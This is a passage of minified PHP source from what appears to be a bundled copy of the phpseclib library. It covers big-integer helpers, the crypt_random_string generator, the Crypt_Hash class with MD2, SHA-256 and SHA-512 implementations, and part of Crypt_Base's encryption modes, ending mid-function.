function _array_repeat($input, $multiplier) { return ($multiplier) ? array_fill(0, $multiplier, $input) : array(); } function _base256_lshift(&$x, $shift) { if ($shift == 0) { return; } $num_bytes = $shift >> 3; $shift &= 7; $carry = 0; for ($i = strlen($x) - 1; $i >= 0; --$i) { $temp = ord($x[$i]) << $shift | $carry; $x[$i] = chr($temp); $carry = $temp >> 8; } $carry = ($carry != 0) ? chr($carry) : ''; $x = $carry . $x . str_repeat(chr(0), $num_bytes); } function _base256_rshift(&$x, $shift) { if ($shift == 0) { $x = ltrim($x, chr(0)); return ''; } $num_bytes = $shift >> 3; $shift &= 7; $remainder = ''; if ($num_bytes) { $start = $num_bytes > strlen($x) ? -strlen($x) : -$num_bytes; $remainder = substr($x, $start); $x = substr($x, 0, -$num_bytes); } $carry = 0; $carry_shift = 8 - $shift; for ($i = 0; $i < strlen($x); ++$i) { $temp = (ord($x[$i]) >> $shift) | $carry; $carry = (ord($x[$i]) << $carry_shift) & 0xFF; $x[$i] = chr($temp); } $x = ltrim($x, chr(0)); $remainder = chr($carry >> $carry_shift) . $remainder; return ltrim($remainder, chr(0)); } function _int2bytes($x) { return ltrim(pack('N', $x), chr(0)); } function _bytes2int($x) { $temp = unpack('Nint', str_pad($x, 4, chr(0), STR_PAD_LEFT)); return $temp['int']; } function _encodeASN1Length($length) { if ($length <= 0x7F) { return chr($length); } $temp = ltrim(pack('N', $length), chr(0)); return pack('Ca*', 0x80 | strlen($temp), $temp); } function _safe_divide($x, $y) { if (MATH_BIGINTEGER_BASE === 26) { return (int) ($x / $y); } return ($x - ($x % $y)) / $y; } } if (!function_exists('crypt_random_string')) { define('CRYPT_RANDOM_IS_WINDOWS', strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'); function crypt_random_string($length) { if (CRYPT_RANDOM_IS_WINDOWS) { if (extension_loaded('mcrypt') && version_compare(PHP_VERSION, '5.3.0', '>=')) { return mcrypt_create_iv($length); } if (extension_loaded('openssl') && version_compare(PHP_VERSION, '5.3.4', '>=')) { return openssl_random_pseudo_bytes($length); } } else { if (extension_loaded('openssl') && version_compare(PHP_VERSION, '5.3.0', '>=')) { return openssl_random_pseudo_bytes($length); } static $fp = true; if ($fp === true) { $fp = @fopen('/dev/urandom', 'rb'); } if ($fp !== true && $fp !== false) { return fread($fp, $length); } if (extension_loaded('mcrypt')) { return mcrypt_create_iv($length, MCRYPT_DEV_URANDOM); } } static $crypto = false, $v; if ($crypto === false) { $old_session_id = session_id(); $old_use_cookies = ini_get('session.use_cookies'); $old_session_cache_limiter = session_cache_limiter(); $_OLD_SESSION = isset($_SESSION) ? $_SESSION : false; if ($old_session_id != '') { session_write_close(); } session_id(1); ini_set('session.use_cookies', 0); session_cache_limiter(''); session_start(); $v = $seed = $_SESSION['seed'] = pack('H*', sha1( (isset($_SERVER) ? phpseclib_safe_serialize($_SERVER) : '') . (isset($_POST) ? phpseclib_safe_serialize($_POST) : '') . (isset($_GET) ? phpseclib_safe_serialize($_GET) : '') . (isset($_COOKIE) ? phpseclib_safe_serialize($_COOKIE) : '') . phpseclib_safe_serialize($GLOBALS) . phpseclib_safe_serialize($_SESSION) . phpseclib_safe_serialize($_OLD_SESSION) )); if (!isset($_SESSION['count'])) { $_SESSION['count'] = 0; } $_SESSION['count']++; session_write_close(); if ($old_session_id != '') { session_id($old_session_id); session_start(); ini_set('session.use_cookies', $old_use_cookies); session_cache_limiter($old_session_cache_limiter); } else { if ($_OLD_SESSION !== false) { $_SESSION = $_OLD_SESSION; unset($_OLD_SESSION); } else { unset($_SESSION); } } $key = pack('H*', sha1($seed . 'A')); $iv = pack('H*', sha1($seed . 'C')); switch (true) { case phpseclib_resolve_include_path('Crypt/AES.php'): if (!class_exists('Crypt_AES')) { include_once 'AES.php'; } $crypto = new Crypt_AES(CRYPT_AES_MODE_CTR); break; case phpseclib_resolve_include_path('Crypt/Twofish.php'): if (!class_exists('Crypt_Twofish')) { include_once 'Twofish.php'; } $crypto = new Crypt_Twofish(CRYPT_TWOFISH_MODE_CTR); break; case phpseclib_resolve_include_path('Crypt/Blowfish.php'): if (!class_exists('Crypt_Blowfish')) { include_once 'Blowfish.php'; } $crypto = new Crypt_Blowfish(CRYPT_BLOWFISH_MODE_CTR); break; case phpseclib_resolve_include_path('Crypt/TripleDES.php'): if (!class_exists('Crypt_TripleDES')) { include_once 'TripleDES.php'; } $crypto = new Crypt_TripleDES(CRYPT_DES_MODE_CTR); break; case phpseclib_resolve_include_path('Crypt/DES.php'): if (!class_exists('Crypt_DES')) { include_once 'DES.php'; } $crypto = new Crypt_DES(CRYPT_DES_MODE_CTR); break; case phpseclib_resolve_include_path('Crypt/RC4.php'): if (!class_exists('Crypt_RC4')) { include_once 'RC4.php'; } $crypto = new Crypt_RC4(); break; default: user_error('crypt_random_string requires at least one symmetric cipher be loaded'); return false; } $crypto->setKey($key); $crypto->setIV($iv); $crypto->enableContinuousBuffer(); } $result = ''; while (strlen($result) < $length) { $i = $crypto->encrypt(microtime()); $r = $crypto->encrypt($i ^ $v); $v = $crypto->encrypt($r ^ $i); $result.= $r; } return substr($result, 0, $length); } } if (!function_exists('phpseclib_safe_serialize')) { function phpseclib_safe_serialize(&$arr) { if (is_object($arr)) { return ''; } if (!is_array($arr)) { return serialize($arr); } if (isset($arr['__phpseclib_marker'])) { return ''; } $safearr = array(); $arr['__phpseclib_marker'] = true; foreach (array_keys($arr) as $key) { if ($key !== '__phpseclib_marker') { $safearr[$key] = phpseclib_safe_serialize($arr[$key]); } } unset($arr['__phpseclib_marker']); return serialize($safearr); } } if (!function_exists('phpseclib_resolve_include_path')) { function phpseclib_resolve_include_path($filename) { if (function_exists('stream_resolve_include_path')) { return stream_resolve_include_path($filename); } if (file_exists($filename)) { return realpath($filename); } $paths = PATH_SEPARATOR == ':' ? preg_split('#(?<!phar):#', get_include_path()) : explode(PATH_SEPARATOR, get_include_path()); foreach ($paths as $prefix) { $ds = substr($prefix, -1) == DIRECTORY_SEPARATOR ? '' : DIRECTORY_SEPARATOR; $file = $prefix . $ds . $filename; if (file_exists($file)) { return realpath($file); } } return false; } } define('CRYPT_HASH_MODE_INTERNAL', 1); define('CRYPT_HASH_MODE_MHASH', 2); define('CRYPT_HASH_MODE_HASH', 3); class Crypt_Hash { var $hashParam; var $b; var $l = false; var $hash; var $key = false; var $opad; var $ipad; function __construct($hash = 'sha1') { if (!defined('CRYPT_HASH_MODE')) { switch (true) { case extension_loaded('hash'): define('CRYPT_HASH_MODE', CRYPT_HASH_MODE_HASH); break; case extension_loaded('mhash'): define('CRYPT_HASH_MODE', CRYPT_HASH_MODE_MHASH); break; default: define('CRYPT_HASH_MODE', CRYPT_HASH_MODE_INTERNAL); } } $this->setHash($hash); } function Crypt_Hash($hash = 'sha1') { $this->__construct($hash); } function setKey($key = false) { $this->key = $key; } function getHash() { return $this->hashParam; } function setHash($hash) { $this->hashParam = $hash = strtolower($hash); switch ($hash) { case 'md5-96': case 'sha1-96': case 'sha256-96': case 'sha512-96': $hash = substr($hash, 0, -3); $this->l = 12; break; case 'md2': case 'md5': $this->l = 16; break; case 'sha1': $this->l = 20; break; case 'sha256': $this->l = 32; break; case 'sha384': $this->l = 48; break; case 'sha512': $this->l = 64; } switch ($hash) { case 'md2': $mode = CRYPT_HASH_MODE == CRYPT_HASH_MODE_HASH && in_array('md2', hash_algos()) ? CRYPT_HASH_MODE_HASH : CRYPT_HASH_MODE_INTERNAL; break; case 'sha384': case 'sha512': $mode = CRYPT_HASH_MODE == CRYPT_HASH_MODE_MHASH ? CRYPT_HASH_MODE_INTERNAL : CRYPT_HASH_MODE; break; default: $mode = CRYPT_HASH_MODE; } switch ($mode) { case CRYPT_HASH_MODE_MHASH: switch ($hash) { case 'md5': $this->hash = MHASH_MD5; break; case 'sha256': $this->hash = MHASH_SHA256; break; case 'sha1': default: $this->hash = MHASH_SHA1; } return; case CRYPT_HASH_MODE_HASH: switch ($hash) { case 'md5': $this->hash = 'md5'; return; case 'md2': case 'sha256': case 'sha384': case 'sha512': $this->hash = $hash; return; case 'sha1': default: $this->hash = 'sha1'; } return; } switch ($hash) { case 'md2': $this->b = 16; $this->hash = array($this, '_md2'); break; case 'md5': $this->b = 64; $this->hash = array($this, '_md5'); break; case 'sha256': $this->b = 64; $this->hash = array($this, '_sha256'); break; case 'sha384': case 'sha512': $this->b = 128; $this->hash = array($this, '_sha512'); break; case 'sha1': default: $this->b = 64; $this->hash = array($this, '_sha1'); } $this->ipad = str_repeat(chr(0x36), $this->b); $this->opad = str_repeat(chr(0x5C), $this->b); } function hash($text) { $mode = is_array($this->hash) ? CRYPT_HASH_MODE_INTERNAL : CRYPT_HASH_MODE; if (!empty($this->key) || is_string($this->key)) { switch ($mode) { case CRYPT_HASH_MODE_MHASH: $output = mhash($this->hash, $text, $this->key); break; case CRYPT_HASH_MODE_HASH: $output = hash_hmac($this->hash, $text, $this->key, true); break; case CRYPT_HASH_MODE_INTERNAL: $key = strlen($this->key) > $this->b ? call_user_func($this->hash, $this->key) : $this->key; $key = str_pad($key, $this->b, chr(0)); $temp = $this->ipad ^ $key; $temp .= $text; $temp = call_user_func($this->hash, $temp); $output = $this->opad ^ $key; $output.= $temp; $output = call_user_func($this->hash, $output); } } else { switch ($mode) { case CRYPT_HASH_MODE_MHASH: $output = mhash($this->hash, $text); break; case CRYPT_HASH_MODE_HASH: $output = hash($this->hash, $text, true); break; case CRYPT_HASH_MODE_INTERNAL: $output = call_user_func($this->hash, $text); } } return substr($output, 0, $this->l); } function getLength() { return $this->l; } function _md5($m) { return pack('H*', md5($m)); } function _sha1($m) { return pack('H*', sha1($m)); } function _md2($m) { static $s = array( 41, 46, 67, 201, 162, 216, 124, 1, 61, 54, 84, 161, 236, 240, 6, 19, 98, 167, 5, 243, 192, 199, 115, 140, 152, 147, 43, 217, 188, 76, 130, 202, 30, 155, 87, 60, 253, 212, 224, 22, 103, 66, 111, 24, 138, 23, 229, 18, 190, 78, 196, 214, 218, 158, 222, 73, 160, 251, 245, 142, 187, 47, 238, 122, 169, 104, 121, 145, 21, 178, 7, 63, 148, 194, 16, 137, 11, 34, 95, 33, 128, 127, 93, 154, 90, 144, 50, 39, 53, 62, 204, 231, 191, 247, 151, 3, 255, 25, 48, 179, 72, 165, 181, 209, 215, 94, 146, 42, 172, 86, 170, 198, 79, 184, 56, 210, 150, 164, 125, 182, 118, 252, 107, 226, 156, 116, 4, 241, 69, 157, 112, 89, 100, 113, 135, 32, 134, 91, 207, 101, 230, 45, 168, 2, 27, 96, 37, 173, 174, 176, 185, 246, 28, 70, 97, 105, 52, 64, 126, 15, 85, 71, 163, 35, 221, 81, 175, 58, 195, 92, 249, 206, 186, 197, 234, 38, 44, 83, 13, 110, 133, 40, 132, 9, 211, 223, 205, 244, 65, 129, 77, 82, 106, 220, 55, 200, 108, 193, 171, 250, 36, 225, 123, 8, 12, 189, 177, 74, 120, 136, 149, 139, 227, 99, 232, 109, 233, 203, 213, 254, 59, 0, 29, 57, 242, 239, 183, 14, 102, 88, 208, 228, 166, 119, 114, 248, 235, 117, 75, 10, 49, 68, 80, 180, 143, 237, 31, 26, 219, 153, 141, 51, 159, 17, 131, 20 ); $pad = 16 - (strlen($m) & 0xF); $m.= str_repeat(chr($pad), $pad); $length = strlen($m); $c = str_repeat(chr(0), 16); $l = chr(0); for ($i = 0; $i < $length; $i+= 16) { for ($j = 0; $j < 16; $j++) { $c[$j] = chr($s[ord($m[$i + $j] ^ $l)] ^ ord($c[$j])); $l = $c[$j]; } } $m.= $c; $length+= 16; $x = str_repeat(chr(0), 48); for ($i = 0; $i < $length; $i+= 16) { for ($j = 0; $j < 16; $j++) { $x[$j + 16] = $m[$i + $j]; $x[$j + 32] = $x[$j + 16] ^ $x[$j]; } $t = chr(0); for ($j = 0; $j < 18; $j++) { for ($k = 0; $k < 48; $k++) { $x[$k] = $t = $x[$k] ^ chr($s[ord($t)]); } $t = chr(ord($t) + $j); } } return substr($x, 0, 16); } function _sha256($m) { if (extension_loaded('suhosin')) { return pack('H*', sha256($m)); } $hash = array( 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19 ); static $k = array( 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 ); $length = strlen($m); $m.= str_repeat(chr(0), 64 - (($length + 8) & 0x3F)); $m[$length] = chr(0x80); $m.= pack('N2', 0, $length << 3); $chunks = str_split($m, 64); foreach ($chunks as $chunk) { $w = array(); for ($i = 0; $i < 16; $i++) { extract(unpack('Ntemp', $this->_string_shift($chunk, 4))); $w[] = $temp; } for ($i = 16; $i < 64; $i++) { $s0 = $this->_rightRotate($w[$i - 15], 7) ^ $this->_rightRotate($w[$i - 15], 18) ^ $this->_rightShift( $w[$i - 15], 3); $s1 = $this->_rightRotate($w[$i - 2], 17) ^ $this->_rightRotate($w[$i - 2], 19) ^ $this->_rightShift( $w[$i - 2], 10); $w[$i] = $this->_add($w[$i - 16], $s0, $w[$i - 7], $s1); } list($a, $b, $c, $d, $e, $f, $g, $h) = $hash; for ($i = 0; $i < 64; $i++) { $s0 = $this->_rightRotate($a, 2) ^ $this->_rightRotate($a, 13) ^ $this->_rightRotate($a, 22); $maj = ($a & $b) ^ ($a & $c) ^ ($b & $c); $t2 = $this->_add($s0, $maj); $s1 = $this->_rightRotate($e, 6) ^ $this->_rightRotate($e, 11) ^ $this->_rightRotate($e, 25); $ch = ($e & $f) ^ ($this->_not($e) & $g); $t1 = $this->_add($h, $s1, $ch, $k[$i], $w[$i]); $h = $g; $g = $f; $f = $e; $e = $this->_add($d, $t1); $d = $c; $c = $b; $b = $a; $a = $this->_add($t1, $t2); } $hash = array( $this->_add($hash[0], $a), $this->_add($hash[1], $b), $this->_add($hash[2], $c), $this->_add($hash[3], $d), $this->_add($hash[4], $e), $this->_add($hash[5], $f), $this->_add($hash[6], $g), $this->_add($hash[7], $h) ); } return pack('N8', $hash[0], $hash[1], $hash[2], $hash[3], $hash[4], $hash[5], $hash[6], $hash[7]); } function _sha512($m) { if (!class_exists('Math_BigInteger')) { include_once 'Math/BigInteger.php'; } static $init384, $init512, $k; if (!isset($k)) { $init384 = array( 'cbbb9d5dc1059ed8', '629a292a367cd507', '9159015a3070dd17', '152fecd8f70e5939', '67332667ffc00b31', '8eb44a8768581511', 'db0c2e0d64f98fa7', '47b5481dbefa4fa4' ); $init512 = array( '6a09e667f3bcc908', 'bb67ae8584caa73b', '3c6ef372fe94f82b', 'a54ff53a5f1d36f1', '510e527fade682d1', '9b05688c2b3e6c1f', '1f83d9abfb41bd6b', '5be0cd19137e2179' ); for ($i = 0; $i < 8; $i++) { $init384[$i] = new Math_BigInteger($init384[$i], 16); $init384[$i]->setPrecision(64); $init512[$i] = new Math_BigInteger($init512[$i], 16); $init512[$i]->setPrecision(64); } $k = array( '428a2f98d728ae22', '7137449123ef65cd', 'b5c0fbcfec4d3b2f', 'e9b5dba58189dbbc', '3956c25bf348b538', '59f111f1b605d019', '923f82a4af194f9b', 'ab1c5ed5da6d8118', 'd807aa98a3030242', '12835b0145706fbe', '243185be4ee4b28c', '550c7dc3d5ffb4e2', '72be5d74f27b896f', '80deb1fe3b1696b1', '9bdc06a725c71235', 'c19bf174cf692694', 'e49b69c19ef14ad2', 'efbe4786384f25e3', '0fc19dc68b8cd5b5', '240ca1cc77ac9c65', '2de92c6f592b0275', '4a7484aa6ea6e483', '5cb0a9dcbd41fbd4', '76f988da831153b5', '983e5152ee66dfab', 'a831c66d2db43210', 'b00327c898fb213f', 'bf597fc7beef0ee4', 'c6e00bf33da88fc2', 'd5a79147930aa725', '06ca6351e003826f', '142929670a0e6e70', '27b70a8546d22ffc', '2e1b21385c26c926', '4d2c6dfc5ac42aed', '53380d139d95b3df', '650a73548baf63de', '766a0abb3c77b2a8', '81c2c92e47edaee6', '92722c851482353b', 'a2bfe8a14cf10364', 'a81a664bbc423001', 'c24b8b70d0f89791', 'c76c51a30654be30', 'd192e819d6ef5218', 'd69906245565a910', 'f40e35855771202a', '106aa07032bbd1b8', '19a4c116b8d2d0c8', '1e376c085141ab53', '2748774cdf8eeb99', '34b0bcb5e19b48a8', '391c0cb3c5c95a63', '4ed8aa4ae3418acb', '5b9cca4f7763e373', '682e6ff3d6b2b8a3', '748f82ee5defb2fc', '78a5636f43172f60', '84c87814a1f0ab72', '8cc702081a6439ec', '90befffa23631e28', 'a4506cebde82bde9', 'bef9a3f7b2c67915', 'c67178f2e372532b', 'ca273eceea26619c', 'd186b8c721c0c207', 'eada7dd6cde0eb1e', 'f57d4f7fee6ed178', '06f067aa72176fba', '0a637dc5a2c898a6', '113f9804bef90dae', '1b710b35131c471b', '28db77f523047d84', '32caab7b40c72493', '3c9ebe0a15c9bebc', '431d67c49c100d4c', '4cc5d4becb3e42b6', '597f299cfc657e2a', '5fcb6fab3ad6faec', '6c44198c4a475817' ); for ($i = 0; $i < 80; $i++) { $k[$i] = new Math_BigInteger($k[$i], 16); } } $hash = $this->l == 48 ? $init384 : $init512; $length = strlen($m); $m.= str_repeat(chr(0), 128 - (($length + 16) & 0x7F)); $m[$length] = chr(0x80); $m.= pack('N4', 0, 0, 0, $length << 3); $chunks = str_split($m, 128); foreach ($chunks as $chunk) { $w = array(); for ($i = 0; $i < 16; $i++) { $temp = new Math_BigInteger($this->_string_shift($chunk, 8), 256); $temp->setPrecision(64); $w[] = $temp; } for ($i = 16; $i < 80; $i++) { $temp = array( $w[$i - 15]->bitwise_rightRotate(1), $w[$i - 15]->bitwise_rightRotate(8), $w[$i - 15]->bitwise_rightShift(7) ); $s0 = $temp[0]->bitwise_xor($temp[1]); $s0 = $s0->bitwise_xor($temp[2]); $temp = array( $w[$i - 2]->bitwise_rightRotate(19), $w[$i - 2]->bitwise_rightRotate(61), $w[$i - 2]->bitwise_rightShift(6) ); $s1 = $temp[0]->bitwise_xor($temp[1]); $s1 = $s1->bitwise_xor($temp[2]); $w[$i] = $w[$i - 16]->copy(); $w[$i] = $w[$i]->add($s0); $w[$i] = $w[$i]->add($w[$i - 7]); $w[$i] = $w[$i]->add($s1); } $a = $hash[0]->copy(); $b = $hash[1]->copy(); $c = $hash[2]->copy(); $d = $hash[3]->copy(); $e = $hash[4]->copy(); $f = $hash[5]->copy(); $g = $hash[6]->copy(); $h = $hash[7]->copy(); for ($i = 0; $i < 80; $i++) { $temp = array( $a->bitwise_rightRotate(28), $a->bitwise_rightRotate(34), $a->bitwise_rightRotate(39) ); $s0 = $temp[0]->bitwise_xor($temp[1]); $s0 = $s0->bitwise_xor($temp[2]); $temp = array( $a->bitwise_and($b), $a->bitwise_and($c), $b->bitwise_and($c) ); $maj = $temp[0]->bitwise_xor($temp[1]); $maj = $maj->bitwise_xor($temp[2]); $t2 = $s0->add($maj); $temp = array( $e->bitwise_rightRotate(14), $e->bitwise_rightRotate(18), $e->bitwise_rightRotate(41) ); $s1 = $temp[0]->bitwise_xor($temp[1]); $s1 = $s1->bitwise_xor($temp[2]); $temp = array( $e->bitwise_and($f), $g->bitwise_and($e->bitwise_not()) ); $ch = $temp[0]->bitwise_xor($temp[1]); $t1 = $h->add($s1); $t1 = $t1->add($ch); $t1 = $t1->add($k[$i]); $t1 = $t1->add($w[$i]); $h = $g->copy(); $g = $f->copy(); $f = $e->copy(); $e = $d->add($t1); $d = $c->copy(); $c = $b->copy(); $b = $a->copy(); $a = $t1->add($t2); } $hash = array( $hash[0]->add($a), $hash[1]->add($b), $hash[2]->add($c), $hash[3]->add($d), $hash[4]->add($e), $hash[5]->add($f), $hash[6]->add($g), $hash[7]->add($h) ); } $temp = $hash[0]->toBytes() . $hash[1]->toBytes() . $hash[2]->toBytes() . $hash[3]->toBytes() . $hash[4]->toBytes() . $hash[5]->toBytes(); if ($this->l != 48) { $temp.= $hash[6]->toBytes() . $hash[7]->toBytes(); } return $temp; } function _rightRotate($int, $amt) { $invamt = 32 - $amt; $mask = (1 << $invamt) - 1; return (($int << $invamt) & 0xFFFFFFFF) | (($int >> $amt) & $mask); } function _rightShift($int, $amt) { $mask = (1 << (32 - $amt)) - 1; return ($int >> $amt) & $mask; } function _not($int) { return ~$int & 0xFFFFFFFF; } function _add() { static $mod; if (!isset($mod)) { $mod = pow(2, 32); } $result = 0; $arguments = func_get_args(); foreach ($arguments as $argument) { $result+= $argument < 0 ? ($argument & 0x7FFFFFFF) + 0x80000000 : $argument; } if (is_int($result) || version_compare(PHP_VERSION, '5.3.0') >= 0 || (PHP_OS & "") === 'WIN') { return fmod($result, $mod); } return (fmod($result, 0x80000000) & 0x7FFFFFFF) | ((fmod(floor($result / 0x80000000), 2) & 1) << 31); } function _string_shift(&$string, $index = 1) { $substr = substr($string, 0, $index); $string = substr($string, $index); return $substr; } } define('CRYPT_MODE_CTR', -1); define('CRYPT_MODE_ECB', 1); define('CRYPT_MODE_CBC', 2); define('CRYPT_MODE_CFB', 3); define('CRYPT_MODE_OFB', 4); define('CRYPT_MODE_STREAM', 5); define('CRYPT_ENGINE_INTERNAL', 1); define('CRYPT_ENGINE_MCRYPT', 2); define('CRYPT_ENGINE_OPENSSL', 3); class Crypt_Base { var $mode; var $block_size = 16; var $key = ""; var $iv; var $encryptIV; var $decryptIV; var $continuousBuffer = false; var $enbuffer; var $debuffer; var $enmcrypt; var $demcrypt; var $enchanged = true; var $dechanged = true; var $ecb; var $cfb_init_len = 600; var $changed = true; var $padding = true; var $paddable = false; var $engine; var $preferredEngine; var $cipher_name_mcrypt; var $cipher_name_openssl; var $cipher_name_openssl_ecb; var $password_default_salt = 'phpseclib/salt'; var $const_namespace; var $inline_crypt; var $use_inline_crypt; var $openssl_emulate_ctr = false; var $openssl_options; var $explicit_key_length = false; var $skip_key_adjustment = false; function __construct($mode = CRYPT_MODE_CBC) { switch ($mode) { case CRYPT_MODE_ECB: $this->paddable = true; $this->mode = CRYPT_MODE_ECB; break; case CRYPT_MODE_CTR: case CRYPT_MODE_CFB: case CRYPT_MODE_OFB: case CRYPT_MODE_STREAM: $this->mode = $mode; break; case CRYPT_MODE_CBC: default: $this->paddable = true; $this->mode = CRYPT_MODE_CBC; } $this->_setEngine(); if ($this->use_inline_crypt !== false && function_exists('create_function')) { $this->use_inline_crypt = true; } } function Crypt_Base($mode = CRYPT_MODE_CBC) { $this->__construct($mode); } function setIV($iv) { if ($this->mode == CRYPT_MODE_ECB) { return; } $this->iv = $iv; $this->changed = true; } function setKeyLength($length) { $this->explicit_key_length = true; $this->changed = true; $this->_setEngine(); } function getKeyLength() { return $this->key_length << 3; } function getBlockLength() { return $this->block_size << 3; } function setKey($key) { if (!$this->explicit_key_length) { $this->setKeyLength(strlen($key) << 3); $this->explicit_key_length = false; } $this->key = $key; $this->changed = true; $this->_setEngine(); } function setPassword($password, $method = 'pbkdf2') { $key = ''; switch ($method) { default: $func_args = func_get_args(); $hash = isset($func_args[2]) ? $func_args[2] : 'sha1'; $salt = isset($func_args[3]) ? $func_args[3] : $this->password_default_salt; $count = isset($func_args[4]) ? $func_args[4] : 1000; if (isset($func_args[5])) { $dkLen = $func_args[5]; } else { $dkLen = $method == 'pbkdf1' ? 2 * $this->key_length : $this->key_length; } switch (true) { case $method == 'pbkdf1': if (!class_exists('Crypt_Hash')) { include_once 'Crypt/Hash.php'; } $hashObj = new Crypt_Hash(); $hashObj->setHash($hash); if ($dkLen > $hashObj->getLength()) { user_error('Derived key too long'); return false; } $t = $password . $salt; for ($i = 0; $i < $count; ++$i) { $t = $hashObj->hash($t); } $key = substr($t, 0, $dkLen); $this->setKey(substr($key, 0, $dkLen >> 1)); $this->setIV(substr($key, $dkLen >> 1)); return true; case !function_exists('hash_pbkdf2'): case !function_exists('hash_algos'): case !in_array($hash, hash_algos()): if (!class_exists('Crypt_Hash')) { include_once 'Crypt/Hash.php'; } $i = 1; while (strlen($key) < $dkLen) { $hmac = new Crypt_Hash(); $hmac->setHash($hash); $hmac->setKey($password); $f = $u = $hmac->hash($salt . pack('N', $i++)); for ($j = 2; $j <= $count; ++$j) { $u = $hmac->hash($u); $f^= $u; } $key.= $f; } $key = substr($key, 0, $dkLen); break; default: $key = hash_pbkdf2($hash, $password, $salt, $count, $dkLen, true); } } $this->setKey($key); return true; } function encrypt($plaintext) { if ($this->paddable) { $plaintext = $this->_pad($plaintext); } if ($this->engine === CRYPT_ENGINE_OPENSSL) { if ($this->changed) { $this->_clearBuffers(); $this->changed = false; } switch ($this->mode) { case CRYPT_MODE_STREAM: return openssl_encrypt($plaintext, $this->cipher_name_openssl, $this->key, $this->openssl_options); case CRYPT_MODE_ECB: $result = openssl_encrypt($plaintext, $this->cipher_name_openssl, $this->key, $this->openssl_options); return !defined('OPENSSL_RAW_DATA') ? substr($result, 0, -$this->block_size) : $result; case CRYPT_MODE_CBC: $result = openssl_encrypt($plaintext, $this->cipher_name_openssl, $this->key, $this->openssl_options, $this->encryptIV); if (!defined('OPENSSL_RAW_DATA')) { $result = substr($result, 0, -$this->block_size); } if ($this->continuousBuffer) { $this->encryptIV = substr($result, -$this->block_size); } return $result; case CRYPT_MODE_CTR: return $this->_openssl_ctr_process($plaintext, $this->encryptIV, $this->enbuffer); case CRYPT_MODE_CFB: $ciphertext = ''; if ($this->continuousBuffer) { $iv = &$this->encryptIV; $pos = &$this->enbuffer['pos']; } else { $iv = $this->encryptIV; $pos = 0; } $len = strlen($plaintext); $i = 0; if ($pos) { $orig_pos = $pos; $max = $this->block_size - $pos; if ($len >= $max) { $i = $max; $len-= $max; $pos = 0; } else { $i = $len; $pos+= $len; $len = 0; } $ciphertext = substr($iv, $orig_pos) ^ $plaintext; $iv = substr_replace($iv, $ciphertext, $orig_pos, $i); $plaintext = substr($plaintext, $i); } $overflow = $len % $this->block_size; if ($overflow) { $ciphertext.= openssl_encrypt(substr($plaintext, 0, -$overflow) . str_repeat("", $this->block_size), $this->cipher_name_openssl, $this->key, $this->openssl_options, $iv); $iv = $this->_string_pop($ciphertext, $this->block_size); $size = $len - $overflow; $block = $iv ^ substr($plaintext, -$overflow); $iv = substr_replace($iv, $block, 0, $overflow); $ciphertext.= $block; $pos = $overflow; } elseif ($len) { $ciphertext = openssl_encrypt($plaintext, $this->cipher_name_openssl, $this->key, $this->openssl_options, $iv); $iv = substr($ciphertext, -$this->block_size); } return $ciphertext; case CRYPT_MODE_OFB: return $this->_openssl_ofb_process($plaintext, $this->encryptIV, $this->enbuffer); } } if ($this->engine === CRYPT_ENGINE_MCRYPT) { if ($this->changed) { $this->_setupMcrypt(); $this->changed = false; } if ($this->enchanged) { @mcrypt_generic_init($this->enmcrypt, $this->key, $this->encryptIV); $this->enchanged = false; } if ($this->mode == CRYPT_MODE_CFB && $this->continuousBuffer) { $block_size = $this->block_size; $iv = &$this->encryptIV; $pos = &$this->enbuffer['pos']; $len = strlen($plaintext); $ciphertext = ''; $i = 0; if ($pos) { $orig_pos = $pos; $max = $block_size - $pos; if ($len >= $max) { $i = $max; $len-= $max; $pos = 0; } else { $i = $len; $pos+= $len; $len = 0; } $ciphertext = substr($iv, $orig_pos) ^ $plaintext; $iv = substr_replace($iv, $ciphertext, $orig_pos, $i); $this->enbuffer['enmcrypt_init'] = true; } if ($len >= $block_size) { if ($this->enbuffer['enmcrypt_init'] === false || $len > $this->cfb_init_len) { if ($this->enbuffer['enmcrypt_init'] === true) { @mcrypt_generic_init($this->enmcrypt, $this->key, $iv); $this->enbuffer['enmcrypt_init'] = false; } $ciphertext.= @mcrypt_generic($this->enmcrypt, substr($plaintext, $i, $len - $len % $block_size)); $iv = substr($ciphertext, -$block_size); $len%= $block_size; } else { while ($len >= $block_size) { $iv = @mcrypt_generic($this->ecb, $iv) ^ substr($plaintext, $i, $block_size); $ciphertext.= $iv; $len-= $block_size; $i+= $block_size; } } } if ($len) { $iv = @mcrypt_generic($this->ecb, $iv); $block = $iv ^ substr($plaintext, -$len); $iv = substr_replace($iv, $block, 0, $len); $ciphertext.= $block; $pos = $len; } return $ciphertext; } $ciphertext = @mcrypt_generic($this->enmcrypt, $plaintext); if (!$this->continuousBuffer) { @mcrypt_generic_init($this->enmcrypt, $this->key, $this->encryptIV); } return $ciphertext; } if ($this->changed) { $this->_setup(); $this->changed = false; } if ($this->use_inline_crypt) { $inline = $this->inline_crypt; return $inline('encrypt', $this, $plaintext); } $buffer = &$this->enbuffer; $block_size = $this->block_size; $ciphertext = ''; switch ($this->mode) { case CRYPT_MODE_ECB: for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $ciphertext.= $this->_encryptBlock(substr($plaintext, $i, $block_size)); } break; case 